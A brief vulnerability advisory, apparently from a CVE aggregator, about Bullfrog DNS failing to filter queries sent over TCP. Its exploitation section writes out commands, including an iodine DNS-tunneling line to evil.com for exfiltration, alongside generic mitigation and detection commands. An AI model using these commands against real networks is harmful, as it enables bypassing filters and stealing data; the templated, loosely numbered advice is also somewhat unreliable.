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Bullfrog’s DNS implementation fails to properly enforce domain filtering when DNS queries are sent over TCP instead of UDP. Attackers can craft malicious TCP-based DNS requests to bypass domain restrictions, enabling data exfiltration or access to blocked domains. The vulnerability occurs due to inadequate validation of TCP-packaged DNS queries, allowing circumvention of filtering rules.
DailyCVE Form
Platform: Bullfrog DNS
Version: <1.2.3
Vulnerability: Filtering bypass
Severity: Moderate
Date: May 14, 2025
What Undercode Say:
Exploitation:
- Craft DNS queries over TCP to evade filtering:
dig +tcp @malicious-dns.example.com blocked.domain.com
- Use tools like `dnschef` to proxy malicious requests:
python3 dnschef.py --interface 0.0.0.0 --tcp
3. Exfiltrate data via DNS tunneling:
iodine -f -P password 1.1.1.1 evil.com
Mitigation:
- Patch Bullfrog DNS to enforce filtering on TCP:
apt update && apt upgrade bullfrog-dns
2. Block unexpected TCP DNS traffic:
iptables -A INPUT -p tcp --dport 53 -j DROP
3. Monitor DNS logs for anomalies:
tail -f /var/log/bullfrog/dns.log | grep "TCP query"
Detection:
1. Check for unusual TCP DNS traffic:
tcpdump -i eth0 'tcp port 53' -w dns_tcp.pcap
2. Analyze DNS logs for bypass attempts:
grep "filtering bypass" /var/log/bullfrog/audit.log
References:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
